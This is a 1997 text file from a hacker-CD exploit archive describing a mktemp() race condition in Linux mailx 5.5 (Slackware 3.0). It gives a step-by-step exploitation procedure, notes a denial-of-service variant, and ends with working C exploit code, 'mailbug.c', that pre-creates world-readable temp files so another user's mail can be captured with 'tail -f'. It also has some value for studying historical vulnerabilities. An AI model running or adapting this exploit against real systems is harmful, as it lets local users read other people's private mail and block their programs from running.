For Beginners & Professional Hackers/cd.iso/hackers/exploits/linux/linux-~5.asc

Text File | 1997-03-11 | 8.7 KB | 172 lines

FEH

             Linux 'mailx' Security Holes





   There is a problem prevalent in the way many programs implement their

usage of mktemp() in order to create temporary files in /tmp, allowing users

on a machine to read and write to the contents of temporary files created.

   The basic problem is that there is a race condition that exists between

the point that a program calls mktemp(), and the pathname returned by mktemp

is actually created.  For some programs, the file creation is immediately

or almost immediately following the mktemp(), resulting in an extremely

small window of opportunity, and as a result making it very difficult to

exploit.  However, there are other programs that do not immediately open

the file, and in these cases it is only a matter of getting the timing

right in order to exploit the hole.

   To exploit this hole, simply create the file that mktemp() returns as

a valid temporary filename after mktemp() has been called, but before the

file has been opened, allowing the user running the program permissions to

read and write from that temporary file.  The program will then succeed in

an fopen, and will write to the file, oblivious to the fact that it didn't

actually create the file, and that others can also read and write from the

file.

   Note that most programs will immediately unlink() a temporary file, but

that does not delete it until after it is closed.  Closing a file results in

the contents of it being flushed, and so by using a 'tail -f' or a similar

procedure, you can capture the contents of the file before it is removed

from the filesystem.

   The filename returned by mktemp() is easily determined for most unix

platforms, allowing this bug to be exploited.  For the linux libc, this is

to replace the X's in the template with the leftmost digit starting at 'a',

and then being incremented 'a'-'z', 'A'-'Z', and '0'-'9' (if that file

already exists), and then replacing the rest of the X's with the process id

(0 padded).  Other operating systems use a variation of this technique,

experimentation easily reveals the algorithm.

   The generic procedure used to formulate an exploit for a particular program

with this bug is as follows:

          1. detect the execution of the program.

          2. determine the temporary filename that mktemp() will return

             when called by the program.

          3. determine the point at which mktemp() is called by the program,

             and immediately following that point, create the file, with

             rw permissions for the user who is running the program.

          4. read the contents of the temporary file, using a 'tail -f' or

             your own routines.

          5. if the sticky bet is set on /tmp, clean up your mess by rm'ing

             the temp file you created, since the unlink() called by the

             actual program will fail if you are the owner.



   Linux's /bin/mail, as included in Slackware 3.0 (mailx 5.5), suffers

from this mktemp() problem in all temporary files it creates.  It uses 5

temporary files with filenames generated during the program's initialization

in a tinit() function, and then uses them as it becomes necessary during the

program's execution.  The race condition begins in this tinit() function.

The temporary files that can be exploited are as follows:

   /tmp/ReXXXXXX

       Used when a user selects 'e' from the mailx command prompt, to edit

       mail.  The message the user has selected to edit is copied to the

       temporary file at this point, and then the editor is invoked on that

       temp file.  The race condition ends when the user has selected 'e',

       and allows the mesage being edited to be read.

   /tmp/RsXXXXXX

       Used when a user sends mail, usually from the command line, such as:

       'mail dave'.  The race condition ends when EOF is recieved from stdin,

       and the message is about to be sent, and allows the outgoing mail to

       be read.

   /tmp/RqXXXXXX

       Used when mail arrives into the mail spool while mail is currently

       running.  The race condition ends when the program is preparing to

       shutdown, and allows the new contents of the mail spool to be read.

   /tmp/RmXXXXXX

       Used to prepend a message to the user's mbox file.  Prepending

       requires the entire mbox contents to be read to the temporary file

       and then appened to the new message(s) being added to the file.

       This is disabled by default in Slackware 3.0 in the /etc/mail.rc

       by the use of the set append option.  For this to be useful, that

       option needs to be removed from /etc/mail.rc, or an unset append

       needs to be added to the user executing mail's .mailrc file.  The

       race condition ends when the program is preparing to shutdown

   /tmp/RxXXXXXX

       Used to read messages from the user's mail spool.  The race condition

       ends during the program's startup, when the mail spool is read, and

       allows any new mail in the user's spool to be read.  Because there

       is no user input between tinit() and this point, it is the only

       race condition that isn't completely trivial to exploit.



   The exploit that follows demonstrates the flaws in all but the final

temporary file.  To use, wait for a mail process to execute, then call the

mailbug program with the process id as an argument, and finally execute a

tail -f /tmp/R*, and let it run until the mail program has terminated

execution.

   As an aside, there are a number of programs that are vulnerable to a

directed denial of service attack preventing people from using them by

creation of the 62 temporary files that are attempted to be used by mktemp(),

resulting in the failure of the program to run.  By continous running of a

program watching for these vulnerable programs to start, they can be prevented

from ever successfully executing (one such example of this is in.pop3d, which

would allow a denial of service attack against a specific user from recieving

mail through pop).



                   Program: mailx-5.5 (/bin/mail)

Affected Operating Systems: linux - Slackware 3.0, others with mailx-5.5

              Requirements: account on system, user using /bin/mail

           Temporary Patch: chmod o-x /usr/bin/Mail (ie: use something else)

       Security Compromise: any user with an account can read incoming, edited,

                            or outgoing mail if the mail is processed by mailx.

                  Synopsis: The predictability of mktemp() is exploited to

                            create the temporary files after the filenames

                            have been determined but before they are actually

                            created, allowing the mail being dumped to those

                            temporary files to be read by the creator of the

                            files.



mailbug.c:

/* This program creates temporary files used by mailx (/bin/mail under

   Slackware 3.0), which can then be read by the program.  This will

   exploit 4 of the 5 temporary files, the final temporary file is a

   tighter race condition, and is not handled by this code.

   Following execution of this program with the process id of mail that

   is running, execute 'tail -f /tmp/R*', redirecting to a file if desired,

   and allow it to run until the mail process has exited.  This can be easily

   handled in a shell script, but is not included since it is not needed to

   sufficiently demonstrate the security flaw.



 */





#include <stdio.h>

#include <sys/stat.h>

#include <sys/types.h>

#include <fcntl.h>



void exploit_mktemp(char *dest, char *prepend, char *pid)

{

  int i;



  strcpy(dest,prepend);

  for(i=strlen(pid);i<6;i++)

    strcat(dest,"0");

  strcat(dest,pid);

  dest[strlen(prepend)] = 'a';

}





main(int argc, char **argv)

{

  char tmpf[5][80];    /* hold filename */



  umask(0);



  if(argc<2)

    {

      printf("mailbug racer\nSyntax: %s process-id\n",argv[0]);

      return -1;

    }



  /* get mktemp filenames */

  exploit_mktemp(tmpf[0],"/tmp/Re",argv[1]);

  exploit_mktemp(tmpf[1],"/tmp/Rs",argv[1]);

  exploit_mktemp(tmpf[2],"/tmp/Rq",argv[1]);

  exploit_mktemp(tmpf[3],"/tmp/Rm",argv[1]);





  /* create temporary files */

  creat(tmpf[0],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);

  creat(tmpf[1],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);

  creat(tmpf[2],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);

  creat(tmpf[3],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);



}